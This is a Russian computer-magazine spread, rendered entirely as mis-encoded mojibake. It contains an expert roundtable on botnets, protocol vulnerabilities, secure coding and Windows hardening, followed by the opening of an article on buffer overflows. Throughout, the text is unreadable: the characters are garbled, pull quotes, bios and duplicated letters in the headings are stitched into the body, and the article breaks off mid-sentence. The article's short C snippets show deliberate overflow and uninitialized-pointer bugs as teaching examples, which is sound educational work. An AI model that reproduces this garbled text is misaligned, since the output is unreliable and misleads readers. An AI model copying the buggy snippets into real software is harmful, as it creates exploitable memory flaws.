âåäåíèÿ èç ñòðîÿ ñåðâåðà èëè ïîëü-
çîâàòåëüñêîé ñèñòåìû ãîðàçäî ïðî-
äóêòèâíåå çàñòàâèòü ðàáîòàòü åãî íà
ñåáÿ, ïðåâðàòèòü åãî â çîìáè. È ýòî
âòîðîé èñòî÷íèê ïðîáëåì, åäâà ëè íå
áîëåå îïàñíûé, ÷åì àòàêè, èñïîëüçó-
þùèå ëèáî óÿçâèìîñòè â ïðîãðàììàõ,
êàê Sasser, ëèáî óÿçâèìîñòè â ãîëî-
âàõ, êàê áîëüøèíñòâî ïî÷òîâûõ âèðó-
ñîâ. Ôàêòè÷åñêè â ðóêàõ âëàäåëüöåâ
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offtopic (offtopic@mail.ru) - ñïåöèàëèñò â îá-
ëàñòè áåçîïàñíîñòè êîðïîðàòèâíûõ ñåòåé, ïîñ-
òîÿííûé àâòîð è ìîäåðàòîð ôîðóìîâ ïðîåêòà
www.securitylab.ru, ñåðòèôèöèðîâàííûé ñèñòåì-
íûé èíæåíåð Microsoft (MCSE) ïî NT
4.0/2000/2003, ñåðòèôèöèðîâàííûé ïðåïîäà-
âàòåëü Microsoft (MCT).

ÍÀØ ÝÊÑÏÅÐÒ

Âëàäèñëàâ Ìÿñíÿíêèí (www.free-
unices.org/~cybervlad) - ýêñïåðò ïî èíôîðìàöèîí-
íîé áåçîïàñíîñòè. Ñïåöèàëèñò ïî çàùèòå òåëå-
êîììóíèêàöèé, êðèïòîãðàôèè è îáìàííûì ñèñòå-
ìàì. Àâòîð ðÿäà ïóáëèêàöèé ïî ðàçëè÷íûì àñïåê-
òàì áåçîïàñíîñòè. Ïåðåâîä÷èê êíèãè Ñ. Ãàðôèí-
êåëÿ "Âñå ïîä êîíòðîëåì".

ÍÀØ ÝÊÑÏÅÐÒ

Sasser è MSBlast âïîëíå ìîãëè áû íàíåñòè
çíà÷èòåëüíî áîëüøèé óðîí, åñëè áû îíè

ñîäåðæàëè äåñòðóêòèâíûå ôóíêöèè.

Îáû÷íî áîëüøàÿ ÷àñòü àòàê ïðîâîäèëàñü
ëèáî èç ñïîðòèâíîãî èíòåðåñà, 

ëèáî ïî êàêèì-òî ëè÷íûì ìîòèâàì.



çîìáè ïîÿâëÿåòñÿ ìîùíàÿ ðàñïðåäå-
ëåííàÿ ñèñòåìà, ñïîñîáíàÿ ýôôåê-
òèâíî ðåøàòü ñàìûå ðàçëè÷íûå çàäà-
÷è. Åñòåñòâåííî, â ïåðâóþ î÷åðåäü â
ãîëîâó ïðèõîäÿò äåñòðóêòèâíûå âîç-
ìîæíîñòè òàêîé ñèñòåìû, ïðèìåðîâ
ïðåäëîæåíèÿ óñëóã äëÿ âûâåäåíèÿ
èç ñòðîÿ íåóãîäíûõ ñåðâåðîâ óæå
ïðåäîñòàòî÷íî. Íî åñòü ñèëüíîå ïî-
äîçðåíèå, ÷òî ãîðàçäî âûãîäíåå èñ-
ïîëüçîâàòü åå äëÿ ýëåìåíòàðíîé ðàñ-
ñûëêè ñïàìà. Êàê ÿ ñêàçàë âûøå, öå-
ëåíàïðàâëåííîå èñïîëüçîâàíèå ïî-
äîáíîãî èíñòðóìåíòà äëÿ âûâåäåíèÿ
èç ñòðîÿ âñåé ñåòè îçíà÷àåò äëÿ àòà-
êóþùèõ âûáèâàíèå ïî÷âû ó ñåáÿ èç-
ïîä íîã.

ÇÇ:: Äà, âñå åùå ìîæíî âûâåñòè èç
ñòðîÿ åñëè è íå âåñü èíòåðíåò, òî
äîñòàòî÷íî áîëüøóþ åãî ÷àñòü. Îä-
íàêî è ñòðóêòóðà ñåðâèñîâ èíòåðíåòà
òîæå ñòàíîâèòñÿ âñå áîëåå è áîëåå
ðàñïðåäåëåííîé, à ýòî ïîçâîëÿåò
èñêëþ÷èòü åäèíóþ òî÷êó ñáîÿ, àòàêà
íà êîòîðóþ ìîãëà áû âûâåñòè èç
ñòðîÿ âñþ ñåòü.

ÌÌÊÊ:: Ïî ìîåìó ìíåíèþ, âûâåñòè èç
ñòðîÿ èíòåðíåò íåëüçÿ. Èíòåðíåò - ýòî
ñîâîêóïíîñòü èíòåðíåò-ïðîâàéäåðîâ
ðàçíîãî ðàçìåðà è óðîâíÿ. Ìíîãèå
ñåãìåíòû èíòåðíåòà îáñëóæèâàþòñÿ
êðóïíûìè òåëåêîììóíèêàöèîííûìè
êîìïàíèÿìè è ÿâëÿþòñÿ âàæíîé ñîñ-

òàâëÿþùåé áèçíåñà ýòèõ êîìïàíèé.
Ïðèìåðàìè òàêèõ êîìïàíèé ìîãóò ñëó-
æèòü âñå èçâåñòíûå òåëåêîììóíèêà-
öèîííûå êîìïàíèè, òàêèå, êàê Áðèòèø
Òåëåêîì, Äåéò÷ Òåëåêîì, Ñïðèíò,
Òðàíñòåëåêîì. È ïîäõîä ê îáåñïå÷å-
íèþ ðàáîòîñïîñîáíîñòè èíòåðíåòà ó
ýòèõ êîìïàíèé ñîîòâåòñòâóþùèé. Ó
íèõ ñóùåñòâóþò òðåáîâàíèÿ è øàáëî-
íû ïî ïðàâèëüíîé íàñòðîéêå îáîðó-
äîâàíèÿ ñ òî÷êè çðåíèÿ çàùèòû, îò-
äåëû ìîíèòîðèíãà è ðàññëåäîâàíèÿ
èíöèäåíòîâ, ñïåöèàëüíûå òåõíè÷åñ-
êèå ñðåäñòâà äëÿ îáíàðóæåíèÿ è áëî-
êèðîâàíèÿ àòàê òèïà "îòêàç â îáñëó-
æèâàíèè". À âîò ìàëåíüêèå îïåðàòî-
ðû, îáñëóæèâàþùèå íåáîëüøèå êó-
ñî÷êè íèçøåãî óðîâíÿ íàøåé ëþáè-
ìîé âñåìèðíîé ñåòè, íå â ñîñòîÿíèè
ðåàëèçîâàòü âñå âûøåèçëîæåííîå.
Èìåííî ïîýòîìó ìíîãî ïðîáëåì èñïû-
òûâàþò ïîëüçîâàòåëè ìàëåíüêèõ äî-
ìàøíèõ ñåòåé è ìàëî - àáîíåíòû
êðóïíûõ îïåðàòîðîâ.

Ïî÷åìó ääî ññèõ ïïîð ââ ññåòåâûõ ïïðîòî-
êîëàõ ííàõîäÿòñÿ ääûðû, èèñïîëüçóåìûå
äëÿ ððåàëèçàöèè ààòàê? 

ÌÌÊÊ:: Âîîáùå âñòðå÷àþòñÿ äûðû
äâóõ îñíîâíûõ òèïîâ. Ïåðâûé - ýòî
îøèáêè ðåàëèçàöèè, à âòîðîé - íå-
äîñòàòî÷íàÿ ïðîðàáîòàííîñòü ñàìèõ
ïðîòîêîëîâ ñ òî÷êè çðåíèÿ áåçîïàñ-
íîñòè. ×òî êàñàåòñÿ ïåðâîãî òèïà,

»

ÇÀÐÀÇÀ (3APA3A@security.nnov.ru) - ïðîôåñ-
ñèîíàë â îáëàñòè áåçîïàñíîñòè êîðïîðàòèâíûõ
ñåòåé. Ñ 1996 ãîäà ðóêîâîäèò ïîääåðæêîé ïîëüçî-
âàòåëåé, êîíñóëüòàöèîííûì íàïðàâëåíèåì è àóò-
ñîðñèíã-àäìèíèñòðèðîâàíèåì â îäíîé èç IT-êîì-
ïàíèé Íèæíåãî Íîâãîðîäà. Â 1999 ãîäó îðãàíèçî-
âàë è ïðàêòè÷åñêè â îäèíî÷êó ïîääåðæèâàåò ïðî-
åêò www.security.nnov.ru. Ê èíôîðìàöèîííîé áåçîïàñíîñòè îòíî-
ñèòñÿ êàê ê õîááè. Àâòîð ñòàòåé, ïîñâÿùåííûõ ñåòåâûì àòàêàì è çà-
ùèòå îò íèõ, îïóáëèêîâàííûõ âî ìíîæåñòâå ïå÷àòíûõ è îíëàéí-èç-
äàíèé. Ìåñòà îáèòàíèÿ: Bugtraq, vuln-ddev, full-ddisclosure, ru.nethack,
ru.security, ru.net.soft, www.security.nnov.ru/board.

ÍÀØ ÝÊÑÏÅÐÒ

Ìèõàèë Êàäåð (mkader@cisco.com) - èíæåíåð-
êîíñóëüòàíò êîìïàíèè Cisco Systems. Èìååò
ñòàòóñû CCIE è CISSP.

ÍÀØ ÝÊÑÏÅÐÒ

Èíòåðíåò - ýòî ñîâîêóïíîñòü èíòåðíåò-
ïðîâàéäåðîâ ðàçíîãî ðàçìåðà è óðîâíÿ.



òî, êàê ãîâîðèë Áðþñ Øíàéåð, àâòîð
èçâåñòíåéøåãî òðóäà "Ïðèêëàäíàÿ
êðèïòîãðàôèÿ", ñîâðåìåííûé ïðîã-
ðàììèñò äåëàåò íà 1000 ñòðîê èñ-
õîäíîãî êîäà 14 îøèáîê. Êîíå÷íî, â
ïðîöåññå îòëàäêè ïðîãðàììíûõ
ïðîäóêòîâ ýòî êîëè÷åñòâî óäàåòñÿ
óìåíüøèòü, íî ïîëíîñòüþ èçáà-
âèòüñÿ îøèáîê äàæå òåîðåòè÷åñêè
íåâîçìîæíî. Îòíîñèòåëüíî âòîðîãî
òèïà òóò äåëî â òîì, ÷òî ïðàêòè÷åñ-
êè âñå ñåòåâûå ïðîòîêîëû ðàçðàáà-
òûâàëèñü äëÿ òîãî, ÷òîáû îáåñïå-
÷èòü íàèáîëåå ïðîñòîå, óäîáíîå è
ëåãêî ðåàëèçóåìîå âçàèìîäåéñòâèå
ìåæäó ñåòåâûìè àáîíåíòàìè. Òî
åñòü, ïî ñóòè äåëà, ðàçðàáîò÷èêè
ñòàíäàðòîâ âñïîìíèëè î ôóíêöèÿõ
áåçîïàñíîñòè â ñåòåâûõ ïðîòîêîëàõ
òîëüêî òîãäà, êîãäà áûëî óæå ïîçä-
íî. Îíè ïîïðîáîâàëè èñïðàâèòü ýòî
ñðàçó â ðàìêàõ ðàáîòû íàä ïðîòîêî-
ëîì IPv6, íî ïîêà òàêîå âîçìîæíî
òîëüêî â äàëåêîì ñâåòëîì áóäóùåì.
Ïîýòîìó ñåé÷àñ ñóùåñòâóþò ñòàí-
äàðòû, êîòîðûå ìîãóò áûòü ïðèëî-
æåíû ê ñóùåñòâóþùèì ñåòåâûì
ïðîòîêîëàì äëÿ ïîâûøåíèÿ èõ áå-
çîïàñíîñòè. Â ïåðâóþ î÷åðåäü, ýòî
IPSsec, SSL/TLS è SSH. Èñïîëüçîâà-
íèå ýòèõ ïðîòîêîëîâ ïîçâîëÿåò
ñêðûòü áîëüøèíñòâî íåäîñòàòêîâ
äðóãèõ ïðîòîêîëîâ â ðàìêàõ ñòåêà
TCP/IP. Ïðè ýòîì âíåäðåíèå èõ
ñèëüíî ñäåðæèâàåòñÿ êàê òåõíè÷åñ-
êèìè òðåáîâàíèÿìè, íàïðèìåð, òðå-
áîâàíèÿìè ïî ïðîèçâîäèòåëüíîñòè
è ìàñøòàáèðóåìîñòè, òàê è ñëîæ-
íîñòÿìè íà 9-ì óðîâíå ìîäåëè âçà-
èìîäåéñòâèÿ îòêðûòûõ ñèñòåì (îð-
ãàíèçàöèîííî-ïîëèòè÷åñêîì). Ïîý-
òîìó ïðîäîëæàòüñÿ ýòî áóäåò âå÷-
íî, òàê êàê â "âîéíå ùèòà è ìå÷à"
íå ìîæåò áûòü ïîáåäèòåëÿ â ïðèí-
öèïå. È îñíîâíàÿ çàäà÷à ëþáîé
ñèñòåìû áåçîïàñíîñòè â òîì, ÷òîáû
ñîçäàíèå ìå÷à áûëî ýêîíîìè÷åñêè
íåýôôåêòèâíûì, à ñîçäàíèå ùèòà -
íàîáîðîò. À âîò ýòî óæå âïîëíå
äîñòèæèìî ïðè ãðàìîòíîì èñïîëü-
çîâàíèè ñîâðåìåííûõ òåõíîëîãè-
÷åñêèõ íàðàáîòîê è ðåøåíèè ïðîá-
ëåì 9-ãî óðîâíÿ.

Ìîæíî ëëè ññêàçàòü, ÷÷òî ññîáëþäåíèå
ïðàâèë ññîçäàíèÿ ççàùèùåííîãî êêîäà
ñíèìåò ââñå ïïðîáëåìû ññ ááåçîïàñ-
íîñòüþ?

ÄÄËË:: Ýòî ñëèøêîì îïòèìèñòè÷íîå
óòâåðæäåíèå. Ïðàâèëà ñîçäàíèÿ çà-
ùèùåííîãî êîäà ìîãóò ïîìî÷ü ñïðà-
âèòüñÿ ñ ãëóïûìè òèïîâûìè îøèáêà-
ìè. Â êîíöå êîíöîâ, ñêîëüêî æå ìîæ-

íî íàñòóïàòü íà îäíè è òå æå ãðàáëè
ñ ïåðåïîëíåíèåì áóôåðà èëè SQL
Injection? Ìîæíî ïîäóìàòü, èñêîðå-
íåíèå èõ â ñâîåì êîäå - êàêîå-òî âû-
ñîêîå èñêóññòâî, à íå ýëåìåíòàðíàÿ
òåõíèêà ïðîãðàììèðîâàíèÿ. Íî äàæå
ïîñëå èõ óñòðàíåíèÿ îñòàíóòñÿ ëîãè-
÷åñêèå îøèáêè, êîòîðûå çíà÷èòåëü-
íî òðóäíåå îòëîâèòü, íåóäà÷íàÿ
îöåíêà âîçìîæíîñòåé ìàñøòàáèðî-
âàíèÿ è, ðàçóìååòñÿ, ÷åëîâå÷åñêèé
ôàêòîð, ñïîñîáíûé ïåðå÷åðêíóòü
âñå óñèëèÿ ïðîãðàììèñòîâ. Åñëè äëÿ
ðàñïðîñòðàíåíèÿ âèðóñà íóæíî, ÷òî-
áû ïîëó÷àòåëü ïèñüìà ðàñïàêîâàë
çàïàðîëåííûé àðõèâ è âðó÷íóþ çà-
ïóñòèë ïðîãðàììó, è íàõîäÿòñÿ ëþäè,
êîòîðûå âñå ýòî ïðîäåëûâàþò, òî î
êàêîì óñòðàíåíèè ïðîáëåì ñ áåçî-
ïàñíîñòüþ ìîæíî ãîâîðèòü?

Ìîæíî ëëè ââûäåëèòü îîñíîâíóþ ïïðîá-
ëåìó ññ ááåçîïàñíîñòüþ ââ ññîâðåìåííûõ
êîìïàíèÿõ? 

ÂÂÌÌ:: Äà, è îíà ñòàðà êàê ìèð, ýòî ÷å-
ëîâå÷åñêèé ôàêòîð. Ëåíü è åñòåñò-
âåííîå æåëàíèå ÷åëîâåêà óïðîñòèòü
ñåáå æèçíü äåëàþò äûðÿâîé ñàìóþ
ñîâåðøåííóþ ñèñòåìó òåõíè÷åñêîé
çàùèòû.

À ììîæíî ëëè ññîçäàòü ññèñòåìó, êêîòî-
ðàÿ îîáíàðóæèâàëà ááû ââñå ââîçìîæíûå
àòàêè?

ÀÀËË:: Êàê ãîâîðèòñÿ â ðåêëàìå, "íåò,
ñûíîê, ýòî ôàíòàñòèêà". Ìàòåìàòè÷åñ-
êè äîêàçàíà êàê áåñêîíå÷íîñòü ìíî-
æåñòâà àòàê, òàê è âîçìîæíîñòü ñîç-
äàíèÿ àòàêè, êîòîðàÿ íå áóäåò ãàðàí-
òèðîâàííî îáíàðóæåíà ñðåäñòâàìè
çàùèòû. Íàïðèìåð, íåñìîòðÿ íà âñå
çàÿâëåíèÿ ïðîèçâîäèòåëåé àíòèâèðó-
ñîâ, ñòîïðîöåíòíîå îáíàðóæåíèå íå-
èçâåñòíûõ âèðóñîâ â èõ ñèñòåìàõ - ýòî
ìèô. Åñëè áû ýòî äåéñòâèòåëüíî áû-
ëî òàê, òî çà÷åì áûëî áû åæåäíåâíî
îáíîâëÿòü ñâîè àíòèâèðóñíûå áàçû è
òðåáîâàòü åæåãîäíóþ îïëàòó ïîääå-
ðæêè ñâîèõ ïðîäóêòîâ?

Ìîæíî ëëè ïïîéìàòü õõàêåðà, ÷÷òî ííàçû-
âàåòñÿ, ""çà ððóêó" èè êêàêèìè ííàâûêàìè
äëÿ ýýòîãî ííàäî îîáëàäàòü?

ÂÂÌÌ:: Ýòîò âîïðîñ îòíîñèòñÿ ê ðàçðÿ-
äó âå÷íûõ. Ñ îäíîé ñòîðîíû, ëþáîå
äåéñòâèå îñòàâëÿåò ñëåäû. Ñ äðóãîé -
îáíàðóæèòü, çàôèêñèðîâàòü è ïðà-
âèëüíî èíòåðïðåòèðîâàòü ýòè ñëåäû -
çàäà÷à íåòðèâèàëüíàÿ, îñîáåííî â
èíòåðíåòå, ãäå äëÿ ýòîãî ìîæåò ïîò-
ðåáîâàòüñÿ âçàèìîäåéñòâèå ìíîæå-

Ðàçðàáîò÷èêè ñòàíäàðòîâ âñïîìíèëè 
î ôóíêöèÿõ áåçîïàñíîñòè â ñåòåâûõ

ïðîòîêîëàõ òîëüêî òîãäà, 
êîãäà áûëî óæå ïîçäíî.



ñòâà ëþäåé â ðàçíûõ òî÷êàõ ïëàíåòû.
Àìåðèêàíñêàÿ äîìîõîçÿéêà, ÷åé
ïîäêëþ÷åííûé ê èíòåðíåòó ïî ADSL
Windows âçëîìàëè è èñïîëüçîâàëè â
êà÷åñòâå àíîíèìíîãî ïðîêñè, èëè
ñòàðøåêëàññíèê èç Íîâîïðîïîéñêà,
ïîñòàâèâøèé Linux îïÿòü-òàêè ñ òîð-
÷àùèìè íàðóæó ïðîêñè, âðÿä ëè ñìî-
ãóò ïîìî÷ü, äàæå åñëè çàõîòÿò. Ïîý-
òîìó îñòàåòñÿ íàäåÿòüñÿ íà ñîáñòâåí-
íûå ñèëû è ðåñóðñû (ëîãè ôàåðâîëà
è ïðèëîæåíèé), ñèñòåìó îáíàðóæå-
íèÿ àòàê è ò.ï. Ñóùåñòâóåò ìíåíèå,
÷òî çàùèòíèê äîëæåí îáëàäàòü íà-
âûêàìè íå õóæå, ÷åì ó àòàêóþùåãî.
Íà ñàìîì äåëå äëÿ âçëîìà è çàùèòû
íóæíû ðàçíûå íàâûêè (êàê äëÿ äè-
âåðñàíòà è ïîãðàíè÷íèêà). Äëÿ ïîèì-
êè "çà ðóêó", êðîìå ÷èñòî êîìïüþòåð-
íûõ çíàíèé, íóæíî èìåòü àíàëèòè-
÷åñêèå ñïîñîáíîñòè è âëàäåòü îñíî-
âàìè çàêîíîäàòåëüñòâà, ïîñêîëüêó,
äàæå åñëè êàðòèíà "ýëåêòðîííîãî
áîÿ" îäíîçíà÷íî ÿñíà ïîñòðàäàâøå-
ìó àäìèíó, íå ôàêò, ÷òî ñîáðàííûå
èì ðàñïå÷àòêè ëîãîâ è âûâîäû áóäóò
ïðèíÿòû ñóäîì.

Êñòàòè, ÷÷òî êêàñàåòñÿ WWindows. ÏÏðàâ-
äà ëëè, ÷÷òî ííà ððåøåíèÿõ MMicrosoft ììîæ-
íî ïïîñòðîèòü ççàùèùåííóþ îîò ââçëîìà
ñèñòåìó? 

ÎÎ:: Íåò. Îáìàí, ïðîïàãàíäà Áèëëè
Ãåéòñà :). Êîíå÷íî æå, ìîæíî, â ðàì-
êàõ îïðåäåëåííîãî òåõíè÷åñêîãî çà-
äàíèÿ è ñìåòû. Â öåëîì, âûáîð ïëàò-
ôîðìû ïðè ïîñòðîåíèè çàùèùåííîé
ñèñòåìû - äàëåêî íå ðåøàþùèé ôàê-
òîð. Áîëåå òîãî, îáû÷íî îí íå âõîäèò
â êîìïåòåíöèþ ñïåöèàëèñòà â îáëàñ-
òè áåçîïàñíîñòè. Òî åñòü òû çàùèùà-
åøü ñèñòåìó íà îñíîâå êàêèõ-òî ïðî-
äóêòîâ, à íå âûáèðàåøü, èç ÷åãî áû
òàêîãî "çàùèùåííîãî ïî óìîë÷àíèþ"
åå ïîñòðîèòü. ß ñ ãðóïïîé òîâàðèùåé
(3APA3îé è Pig Killer) äàâíî ñîáèðà-
þñü îðãàíèçîâàòü êîíêóðñ ïî âçëîìó
âåá-ñåðâåðà íà îñíîâå "íåïàò÷åííî-
ãî" W2K+IIS 5.0 èëè W2K3+IIS 6.0, â
îáðàçîâàòåëüíûõ öåëÿõ :).

×òî ííàäî ññäåëàòü ääëÿ ççàùèòû
Windows-ññèñòåìû?

ÎÎ:: Äëÿ áîëüøèíñòâà ñèòóàöèé äîñ-
òàòî÷íî ïðî÷èòàòü, îñìûñëèòü è âû-
ïîëíèòü ðåêîìåíäàöèè, îïóáëèêî-
âàííûå íà ñåðâåðå Microsoft
(www.microsoft.com/technet/security/default.m
spx). Äîìàøíåìó ïîëüçîâàòåëþ
âïîëíå õâàòèò ðåêîìåíäàöèé òèïà
"Òðè øàãà äëÿ çàùèòû âàøåãî
êîìïüþòåðà"
(www.microsoft.com/Rus/Security/Protect/Defau
lt.mspx), õîòÿ ÿ áû äîïîëíèòåëüíî ïî-

ñîâåòîâàë ëèáî îòêàçàòüñÿ îò IE, ëè-
áî âûïîëíèòü â íåì Lockdown çîíû
áåçîïàñíîñòè My Computer. Åñòåñò-
âåííî, íå ñòîèò ñëåïî ñëåäîâàòü ëþ-
áûì, äàæå ñàìûì ëó÷øèì ðåêîìåí-
äàöèÿì. 

Ïðàâäà ëëè, ÷÷òî ôôàåðâîëû èè ääðóãèå
ñàìîñòîÿòåëüíûå ññðåäñòâà ççàùèòû
ñêîðî èèñ÷åçíóò, àà èèì ííà ññìåíó ïïðèäóò
çàùèùåííûå ÎÎÑ, ììàðøðóòèçàòîðû èè
ò.ä., òòî ååñòü ññðåäñòâà ççàùèòû ññòàíóò
íåîòúåìëåìîé ÷÷àñòüþ IIT-èèíôðàñò-
ðóêòóðû?

ÌÌÊÊ:: "Ñìåøíî ëè ýòî? Îòâåòà íåòó"
(Ñ) Êèðïè÷è. Íåëüçÿ çàáûâàòü î òîì,
÷òî ïîìèìî ôóíêöèîíàëüíûõ âîç-
ìîæíîñòåé ñóùåñòâóþò âîïðîñû
ïðîñòîòû âíåäðåíèÿ, àäìèíèñòðèðî-
âàíèÿ, ïîñòðîåíèÿ îòêàçîóñòîé÷è-
âûõ äèçàéíîâ, íåîáõîäèìîñòü ðàç-
äåëåíèÿ ïîëíîìî÷èé è ò.ï. Ïðèìåð:
çà ñåðâåðû îòâå÷àåò äåïàðòàìåíò
àâòîìàòèçàöèè, çà ìåæñåòåâûå ýê-
ðàíû - äåïàðòàìåíò èíôîðìàöèîí-
íîé áåçîïàñíîñòè. Âîïðîñû: êòî áó-
äåò îòâå÷àòü çà ôóíêöèîíèðîâàíèå
ïðîãðàììíûõ ìåæñåòåâûõ ýêðàíîâ,
ðàáîòàþùèõ íåïîñðåäñòâåííî íà
ñåðâåðàõ è êàê ïîñòðîèòü ðåãëàìåíò
âçàèìîäåéñòâèÿ? Èëè äðóãîé ïðè-
ìåð: ìû çíàåì, ÷òî íàøè ñåðâåðû â
öåíòðå îáðàáîòêè äàííûõ íå äîëæ-
íû îáñëóæèâàòü ïðîòîêîë FTP. Ó
ýòîé çàäà÷è äâà âàðèàíòà ðåøåíèÿ.
Íàñòðàèâàåì ôèëüòðû (ìåæñåòåâûå
ýêðàíû) íà êàæäîì ñåðâåðå. È ñðàçó
âñïëûâàåò ïàðî÷êà íåäîñòàòêîâ.
Ïåðâûé èç íèõ - ôèëüòðàöèÿ áóäåò
æðàòü ðåñóðñû ñåðâåðà, íóæíûå íàì
äëÿ äðóãèõ çàäà÷. Âòîðîé - èçìåíå-
íèå ïîëèòèê áåçîïàñíîñòè áóäåò
òðåáîâàòü ïåðåíàñòðîéêè ìíîæåñò-
âà ñåðâåðîâ, æåëàòåëüíî áûñòðî.
Óñòàíîâêà ïåðåä ýòèìè ñåðâåðàìè
ìåæñåòåâîãî ýêðàíà ïîçâîëÿåò ïîä-
íÿòü ïðîèçâîäèòåëüíîñòü è ñíèçèòü
ðàñõîäû íà àäìèíèñòðèðîâàíèå. Ïî-
ýòîìó îñîáîé âåðû â òî, ÷òî çàùè-
ùåííûå îïåðàöèîííûå ñèñòåìû çà-
ìåíÿò ñïåöèàëèçèðîâàííûå ñðåä-
ñòâà îáåñïå÷åíèÿ áåçîïàñíîñòè,
íåò. À âîò èíòåãðàöèþ ñïåöèàëèçè-
ðîâàííûõ ñðåäñòâ áåçîïàñíîñòè íå-
ïîñðåäñòâåííî â ñåòåâóþ èíôðàñò-
ðóêòóðó íàäî ïðèçíàòü ñâåðøèâ-
øåéñÿ. Èìåííî ýòî ïîçâîëÿåò ìàêñè-
ìàëüíî ýôôåêòèâíî ðåàëèçîâàòü
ìåõàíèçìû êîíòðîëÿ äîñòóïà ñðàçó
íà ãðàíèöå ñåòè, à òàêæå îáåñïå÷èòü
ïîñòðîåíèå ðàçëè÷íûõ çîí áåçîïàñ-
íîñòè è ýôôåêòèâíóþ çàùèòó öåíò-
ðîâ îáðàáîòêè äàííûõ. E

Äëÿ âçëîìà è çàùèòû íóæíû ðàçíûå
íàâûêè (êàê äëÿ äèâåðñàíòà 

è ïîãðàíè÷íèêà).



ÍÅÏÐÀÂÈËÜÍÛÉ
ÄÎÑÒÓÏ È
ÏÅÐÅÏÎËÍÅÍÈß

Ðàññìîòðèì äëÿ ïðèìåðà
ôóíêöèþ, äîáàâëÿþùóþ îäíó

ñòðîêó â êîíåö äðóãîé, strcat(s1, s2). Äîïóñ-
òèì, â íà÷àëå ïðîãðàììû ìû ñäåëàëè òàê:
char *s1 = malloc(2); memset(s1, 0, 2), âûäåëèâ
ñòðîêå s1 äâà áàéòà è îáíóëèâ èõ. Òåïåðü, åñ-
ëè, íàïðèìåð, strcat(s1, "j00 r 0wn3d"),  ôóíê-
öèÿ ÷åñòíî ñêîïèðóåò ñòðîêó "j00 r 0wn3d"
ïî àäðåñó, íà êîòîðûé óêàçûâàåò s1. Âåäü str-
cat íå çíàåò î òîì, ÷òî íàøà ïðîãðàììà âûäå-
ëèëà âñåãî äâà áàéòà ïîä s1! Ïîýòîìó îíà
ïðîñòî ïåðåçàïèøåò ÷óæèå äàííûå, çàïîë-
íèâ èõ êóñêîì íàøåé ñòðîêè. Â äàííîì ñëó-
÷àå ýòî íå î÷åíü êðèòè÷íî. 

Îäíàêî âîò òàêîé êîä óæå ìîæåò ïðèëè÷íî
íàâðåäèòü:

typedef struct _test {
char s1[2];
char s2[10];

} test_t;

test_t t;
strcpy(t.s2, "hello world");
strcpy(t.s1, "j00 r 0wn3d");

Îòëè÷èå äàííîãî âàðèàíòà îò îïèñàííîãî
âûøå â òîì, ÷òî â çäåñü s2 áóäåò óêàçûâàòü
íà îáëàñòü, ñëåäóþùóþ ñðàçó æå çà s1. È ïî-
ýòîìó strcat(s1, "j00 r 0wn3d") ñ ðàäîñòüþ ïå-
ðåçàïèøåò ñòðîêó, õðàíÿùóþñÿ â s2, äàæå íå
çàìåòèâ ýòîãî :-).

Â òàêîì ñëó÷àå îïàñíîñòü íå îñîáî âåëèêà
è çàêëþ÷àåòñÿ òîëüêî â òîì, ÷òî ïîëüçîâà-
òåëüñêèå äàííûå ìîãóò áûòü óòåðÿíû è ïðîã-
ðàììà ïðîñòî íà÷íåò ñåáÿ ñòðàííî âåñòè. Íî
ìîãóò ïðîèçîéòè è áîëåå çàíÿòíûå âåùè.

Ðàññìîòðèì ôóíêöèþ strlen, êîòîðàÿ ïîäñ-
÷èòûâàåò êîëè÷åñòâî ñèìâîëîâ â ñòðîêå.
Ïðåäïîëîæèì, ÷òî îíà ïåðåáèðàåò ñèìâîëû
äî òåõ ïîð, ïîêà íå âñòðåòèò íîëü - îí áóäåò
îçíà÷àòü, ÷òî ñòðîêà çàêîí÷èëàñü. Òàêæå áó-
äåì ñ÷èòàòü, ÷òî ó íàñ åñòü óêàçàòåëü íà
ñòðîêó s1, äëÿ êîòîðîé ìû âûäåëèëè ñòî áàéò.
Äàâàé çàáóäåì ïðîèíèöèàëèçèðîâàòü âûäå-
ëåííóþ ïàìÿòü íóëÿìè. Çàòåì ñäåëàåì str-
cpy(s1, "hello world") è ïîñ÷èòàåì äëèíó íà-
øåé ñòðîêè: strlen(s1) ÷åñòíî ïðîáåæèòñÿ ïî
ñëîâîñî÷åòàíèþ "hello world" è ïîéäåò ñ÷è-
òàòü äàëüøå, ïîêà íå âñòðåòèò íîëü. Â ëó÷-
øåì ñëó÷àå ïðîãðàììà âûäàñò íåïðàâèëüíîå
çíà÷åíèå è âñå äàëüíåéøèå ðàñ÷åòû áóäóò,
ìÿãêî ãîâîðÿ, íåòî÷íû :-). À â õóäøåì?

Íàøà áðàâàÿ ôóíêöèÿ ñìåëî ïðîáåæèò âû-
äåëåííûå ñòðîêå 100 á è ïîøëåïàåò äàëüøå,
ãäå íàâåðíÿêà â îäèí ïðåêðàñíûé ìîìåíò ïî-
ïûòàåòñÿ ïðî÷èòàòü áàéò, íà ÷òåíèå êîòîðîãî
îíà ïðàâ íå èìååò. Ëþáàÿ ñèñòåìà òîò÷àñ íå-
îäîáðèòåëüíî îòðåàãèðóåò íà ïîäîáíóþ íàã-
ëîñòü, à UNIX-ñèñòåìà ñðàçó æå ïîøëåò ïðî-
öåññó ñèãíàë SIGSEGV è ãðîõíåò åãî. Â ðå-
çóëüòàòå ÷åãî ïîëüçîâàòåëü óâèäèò çàâåòíîå
"Segmentation fault".

Òåïåðü îáñóäèì òàêîé ïðèìåð:

float *pi;
*pi = 3.141592654;
printf("pi is %f", *pi);

Äîãàäûâàåøüñÿ, ÷òî ìîæåò òóò ñëó÷èòüñÿ?
Â íà÷àëå ïðîãðàììû ñîçäàñòñÿ óêàçàòåëü íà
âåùåñòâåííîå ÷èñëî, íî ìû åãî íàðî÷íî íå
ïðîèíèöèàëèçèðîâàëè. Âûïîëíåíèå òàêîãî
êîäà â áîëüøèíñòâå ñëó÷àåâ ïðèâåäåò ê

»

Êîñÿêèí Àíòîí (deil@gameland.ru)

Ó ùåðá îò îøèáîê è íåäîñìîòðîâ ïðîãðàììèñòîâ ïðè ðàáîòå ñ ïàìÿòüþ îãðî-
ìåí. Âçÿòü õîòÿ áû âñåì èçâåñòíûé MS Windows (R): â ïîñëåäíåå âðåìÿ

áîëüøàÿ ÷àñòü ïàò÷åé ê íåìó ñâÿçàíà êàê ðàç ñ óñòðàíåíèåì ïîñëåäñòâèé êðè-
âîé ðàáîòû ñ ïàìÿòüþ è ïåðåïîëíåíèÿ áóôåðà. Äàâàé ïîïðîáóåì âî âñåì ðà-
çîáðàòüñÿ, ÷òîáû â áóäóùåì ýòîãî èçáåæàòü.
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"Segmentation fault" èëè ïîÿâëåíèþ
